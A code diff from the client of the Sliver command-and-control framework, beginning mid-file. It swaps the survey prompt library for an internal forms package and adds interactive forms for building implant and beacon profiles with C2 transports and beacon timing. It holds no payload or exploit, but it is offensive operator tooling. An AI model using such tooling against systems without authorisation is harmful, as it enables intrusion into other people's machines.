if err := cmd.Flags().Set("dns", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
case "named-pipe":
|
||||
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
case "tcp-pivot":
|
||||
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
|
||||
return err
|
||||
}
|
||||
default:
|
||||
return errors.New("unsupported C2 transport selection")
|
||||
}
|
||||
|
||||
if err := setOptionalInt64Flag(cmd, "days", result.Days); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "hours", result.Hours); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "minutes", result.Minutes); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "seconds", result.Seconds); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "jitter", result.Jitter); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setOptionalInt64Flag(cmd *cobra.Command, name, value string) error {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return nil
|
||||
}
|
||||
parsed, err := strconv.ParseInt(trimmed, 10, 64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if parsed < 0 {
|
||||
return fmt.Errorf("%s must be 0 or greater", name)
|
||||
}
|
||||
return cmd.Flags().Set(name, strconv.FormatInt(parsed, 10))
|
||||
}
|
||||
@@ -32,7 +32,6 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
@@ -202,13 +201,10 @@ func saveLocation(save, DefaultName string, con *console.SliverClient) (string,
|
||||
save = expandPath(save)
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
con.Printf("%s does not exist\n", save)
|
||||
if strings.HasSuffix(save, "/") {
|
||||
con.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0o700)
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
con.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
_, err := os.Stat(saveTo)
|
||||
if os.IsNotExist(err) {
|
||||
@@ -220,10 +216,8 @@ func saveLocation(save, DefaultName string, con *console.SliverClient) (string,
|
||||
if fi.IsDir() {
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
con.PrintInfof("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Overwrite existing file?", &confirm)
|
||||
if !confirm {
|
||||
return "", errors.New("file already exists")
|
||||
}
|
||||
@@ -534,9 +528,8 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) (
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
|
||||
if !confirm {
|
||||
return "", ""
|
||||
}
|
||||
@@ -806,11 +799,8 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri), &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
@@ -1117,8 +1107,7 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Try to compile anyways (will likely fail)?", &confirm)
|
||||
return confirm
|
||||
}
|
||||
|
||||
@@ -1154,11 +1143,7 @@ func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
_ = forms.Select("Select an external builder:", choices, &choice)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
|
||||
@@ -4,8 +4,8 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -24,8 +24,7 @@ func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' build?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -21,10 +21,10 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -42,12 +42,8 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons to expose:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.MultiSelect("Select sessions and beacons to expose:", options, &selected)
|
||||
|
||||
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
|
||||
if err != nil {
|
||||
|
||||
@@ -19,8 +19,11 @@ package generate
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -28,7 +31,22 @@ import (
|
||||
// ProfilesNewCmd - Create a new implant profile.
|
||||
func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var name string
|
||||
if len(args) > 0 {
|
||||
if shouldRunGenerateProfilesNewForm(cmd, con, args) {
|
||||
result, err := forms.GenerateProfilesNewForm()
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Profiles new form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
profileName, err := applyGenerateProfilesNewForm(cmd, result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to apply profiles new form values: %s\n", err)
|
||||
return
|
||||
}
|
||||
name = profileName
|
||||
} else if len(args) > 0 {
|
||||
name = args[0]
|
||||
}
|
||||
// name := ctx.Args.String("name")
|
||||
@@ -51,7 +69,22 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile.
|
||||
func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var name string
|
||||
if len(args) > 0 {
|
||||
if shouldRunGenerateProfilesNewBeaconForm(cmd, con, args) {
|
||||
result, err := forms.GenerateProfilesNewBeaconForm()
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Profiles new beacon form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
profileName, err := applyGenerateProfilesNewBeaconForm(cmd, result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to apply profiles new beacon form values: %s\n", err)
|
||||
return
|
||||
}
|
||||
name = profileName
|
||||
} else if len(args) > 0 {
|
||||
name = args[0]
|
||||
}
|
||||
// name := ctx.Args.String("name")
|
||||
@@ -80,3 +113,151 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func shouldRunGenerateProfilesNewForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
|
||||
if con == nil || con.IsCLI {
|
||||
return false
|
||||
}
|
||||
if len(args) != 0 {
|
||||
return false
|
||||
}
|
||||
return cmd.Flags().NFlag() == 0
|
||||
}
|
||||
|
||||
func applyGenerateProfilesNewForm(cmd *cobra.Command, result *forms.GenerateProfilesNewFormResult) (string, error) {
|
||||
if err := cmd.Flags().Set("os", result.OS); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := cmd.Flags().Set("format", result.Format); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
profileName := strings.TrimSpace(result.ProfileName)
|
||||
if profileName == "" {
|
||||
return "", errors.New("profile name required")
|
||||
}
|
||||
|
||||
implantName := strings.TrimSpace(result.Name)
|
||||
if implantName != "" {
|
||||
if err := cmd.Flags().Set("name", implantName); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
c2Value := strings.TrimSpace(result.C2Value)
|
||||
switch result.C2Type {
|
||||
case "mtls":
|
||||
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "wg":
|
||||
if err := cmd.Flags().Set("wg", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "http":
|
||||
if err := cmd.Flags().Set("http", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "dns":
|
||||
if err := cmd.Flags().Set("dns", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "named-pipe":
|
||||
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "tcp-pivot":
|
||||
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
default:
|
||||
return "", errors.New("unsupported C2 transport selection")
|
||||
}
|
||||
|
||||
return profileName, nil
|
||||
}
|
||||
|
||||
func shouldRunGenerateProfilesNewBeaconForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
|
||||
if con == nil || con.IsCLI {
|
||||
return false
|
||||
}
|
||||
if len(args) != 0 {
|
||||
return false
|
||||
}
|
||||
return cmd.Flags().NFlag() == 0
|
||||
}
|
||||
|
||||
func applyGenerateProfilesNewBeaconForm(cmd *cobra.Command, result *forms.GenerateProfilesNewBeaconFormResult) (string, error) {
|
||||
if err := cmd.Flags().Set("os", result.OS); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := cmd.Flags().Set("format", result.Format); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
profileName := strings.TrimSpace(result.ProfileName)
|
||||
if profileName == "" {
|
||||
return "", errors.New("profile name required")
|
||||
}
|
||||
|
||||
implantName := strings.TrimSpace(result.Name)
|
||||
if implantName != "" {
|
||||
if err := cmd.Flags().Set("name", implantName); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
c2Value := strings.TrimSpace(result.C2Value)
|
||||
switch result.C2Type {
|
||||
case "mtls":
|
||||
if err := cmd.Flags().Set("mtls", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "wg":
|
||||
if err := cmd.Flags().Set("wg", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "http":
|
||||
if err := cmd.Flags().Set("http", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "dns":
|
||||
if err := cmd.Flags().Set("dns", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "named-pipe":
|
||||
if err := cmd.Flags().Set("named-pipe", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
case "tcp-pivot":
|
||||
if err := cmd.Flags().Set("tcp-pivot", c2Value); err != nil {
|
||||
return "", err
|
||||
}
|
||||
default:
|
||||
return "", errors.New("unsupported C2 transport selection")
|
||||
}
|
||||
|
||||
if err := setOptionalInt64Flag(cmd, "days", result.Days); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "hours", result.Hours); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "minutes", result.Minutes); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "seconds", result.Seconds); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := setOptionalInt64Flag(cmd, "jitter", result.Jitter); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return profileName, nil
|
||||
}
|
||||
@@ -22,8 +22,8 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -45,8 +45,7 @@ func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' profile?", name), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -26,10 +26,10 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -140,10 +140,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args [
|
||||
// saveFailedSample - Save the sample the encoder failed to properly encode/decode.
|
||||
func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Failed to add traffic encoder %s, save failed sample to disk?", encoderName),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Failed to add traffic encoder %s, save failed sample to disk?", encoderName), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -286,10 +283,6 @@ func SelectTrafficEncoder(con *console.SliverClient) string {
|
||||
}
|
||||
sort.Strings(encoderNames)
|
||||
var selectedEncoder string
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a traffic encoder:",
|
||||
Options: encoderNames,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedEncoder)
|
||||
_ = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
|
||||
return selectedEncoder
|
||||
}
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -86,12 +86,8 @@ func SelectHostIOC(host *clientpb.Host, con *console.SliverClient) (*clientpb.IO
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an IOC:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select an IOC:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -28,9 +28,9 @@ import (
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
@@ -172,12 +172,8 @@ func SelectHost(con *console.SliverClient) (*clientpb.Host, error) {
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a host:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a host:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -22,11 +22,11 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -39,7 +39,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
confirm := false
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
_ = forms.Confirm("Kill the active session?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -52,7 +52,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
_ = forms.Confirm("Kill the active beacon?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -31,9 +31,9 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
@@ -106,11 +106,7 @@ func SelectLoot(cmd *cobra.Command, rpc rpcpb.SliverRPCClient) (*clientpb.Loot,
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a piece of loot:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &selected)
|
||||
err = forms.Select("Select a piece of loot:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -26,12 +26,12 @@ import (
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -111,8 +111,7 @@ func saveLootToDisk(cmd *cobra.Command, loot *clientpb.Loot) (string, error) {
|
||||
}
|
||||
if _, err := os.Stat(saveTo); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
_ = forms.Confirm("Overwrite local file?", &overwrite)
|
||||
if !overwrite {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
@@ -21,10 +21,10 @@ package loot
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
@@ -37,8 +37,7 @@ func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
oldName := loot.Name
|
||||
newName := ""
|
||||
prompt := &survey.Input{Message: "Enter new name: "}
|
||||
survey.AskOne(prompt, &newName)
|
||||
_ = forms.Input("Enter new name:", &newName)
|
||||
|
||||
loot, err = con.Rpc.LootUpdate(context.Background(), &clientpb.Loot{
|
||||
ID: loot.ID,
|
||||
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
@@ -121,11 +121,7 @@ func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.Mo
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a configuration:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a configuration:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
@@ -49,11 +49,7 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon task:",
|
||||
Options: options,
|
||||
}
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a beacon task:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -21,8 +21,8 @@ package reaction
|
||||
import (
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -33,8 +33,7 @@ func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Reload reactions from disk?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -33,8 +33,7 @@ func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
reactionPath := GetReactionFilePath()
|
||||
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm(fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -77,12 +77,8 @@ func getEventType(cmd *cobra.Command, con *console.SliverClient) (string, error)
|
||||
}
|
||||
|
||||
func selectEventType(con *console.SliverClient) (string, error) {
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an event:",
|
||||
Options: core.ReactableEvents,
|
||||
}
|
||||
selection := ""
|
||||
err := survey.AskOne(prompt, &selection)
|
||||
err := forms.Select("Select an event:", core.ReactableEvents, &selection)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -96,9 +92,6 @@ func selectEventType(con *console.SliverClient) (string, error) {
|
||||
|
||||
func userCommands() (string, error) {
|
||||
text := ""
|
||||
prompt := &survey.Multiline{
|
||||
Message: "Enter commands: ",
|
||||
}
|
||||
err := survey.AskOne(prompt, &text)
|
||||
err := forms.Text("Enter commands:", &text)
|
||||
return text, err
|
||||
}
|
||||
@@ -25,9 +25,9 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -65,13 +65,8 @@ func selectReaction(con *console.SliverClient) (*core.Reaction, error) {
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove blank line at the end
|
||||
|
||||
// Prompt user with options
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a reaction:",
|
||||
Options: options,
|
||||
}
|
||||
selection := ""
|
||||
err := survey.AskOne(prompt, &selection)
|
||||
err := forms.Select("Select a reaction:", options, &selection)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -85,12 +85,8 @@ func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a session:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a session:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
settingsCmd.Flags().Bool("show", false, "Show current settings without prompting")
|
||||
settingsCmd.AddCommand(&cobra.Command{
|
||||
Use: consts.SaveStr,
|
||||
Short: "Save the current settings to disk",
|
||||
|
||||
@@ -19,9 +19,9 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
